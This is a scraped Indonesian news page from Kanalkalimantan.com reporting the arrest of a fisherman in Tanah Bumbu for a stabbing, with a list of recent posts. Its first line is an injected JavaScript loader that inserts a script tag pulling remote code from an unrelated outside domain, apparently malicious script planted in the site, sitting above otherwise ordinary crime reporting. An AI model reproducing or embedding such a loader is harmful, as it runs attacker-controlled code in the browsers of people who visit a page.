(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Nelayan Muara Pagatan Diringkus Polisi Gegara Penusukan


KANALKALIMANTAN.COM, BATULICIN – DL (30), seorang warga Desa Muara Pagatan Tengah, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu (Tanbu), diringkus Unit Reskrim Polres Tanbu untuk mempertanggungjawabkan perbuatannya.

Pria yang berprofesi sebagai nelayan tersebut diamankan di Desa Sungai Lembu, Kecamatan Kusan Hilir, Senin (9/5/2022) sekitar pukul 12.40 Wita.

DL merupakan pelaku dari kasus tindak pidana penganiayaan dengan penusukan terhadap SG (22), warga Desa Pakatelu, Kecamatan Kusan Tengah, Kabupaten Tanbu.

“Dari penangkapan tersangka polisi berhasil mengamankan barang bukti berupa satu buah gagang pisau terbuat dari plastik dan satu buah mata pisau dari besi stainless,” terang Kasi Humas Polres Tanbu, AKP I Made Rasa, Selasa (10/5/2022).

 

Baca juga  : Puncak Arus Balik H+5 di Terminal Gambut Barakat, Tercatat 10.237 Penumpang

Kronologi penusukan terjadi pada Sabtu (30/4/2022) sekitar pukul 13.00 Wita, di Perumahan Pelangi, Desa Sungai Lembu Kecamatan Kusan Hilir, Tanbu.

Tersangka yang sebelumnya sudah berada di dalam rumah tersebut menusuk korban sebanyak satu kali ke arah perut korban dengan menggunakan sebilah pisau. Namun, dengan sigap, korban langsung menangkis tusukan tersebut, sehingga tidak mengenai perut korban, hanya menggores tangan kiri korban.

Setelah itu korban berusaha merebut pisau tersebut dari tangan tersangka, sempat bergulat di lantai yang mengakibatkan pisau patah.

Setelah itu saksi SR masuk ke tengah, lalu merangkul korban dengan maksud untuk melerai, tetapi karena tersangka masih berusaha untuk menyerang korban sehingga tersangka kembali berhasil menonjok wajah korban.

 

Baca juga  : PPKM Level 2 Pasca Lebaran, Komitmen Masyarakat Banjarbaru Taat Prokes

Saksi SR mendesam tersangka ke dinding rumah hingga tersangka terpojok dan setelah itu DL diusir keluar dari rumah tersebut. Namun, karena tersangka masih mengancam akan kembali lagi ke tempat tersebut sehingga saksi SR mengejarnya. Akhirnya DL benar-benar minggat.

Atas kejadian tersebut korban mengalami luka gores di tangan sebelah kiri, kemudian melaporkan kejadian tersebut ke kantor Polsek Kusan Hilir.

Sementara itu, untuk mempertanggungjawabkan perbuatannya, DL yang diamankan akan dijerat Pasal 351 Ayat (1) KUHP tentang Tindak pidana penganiayaan. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.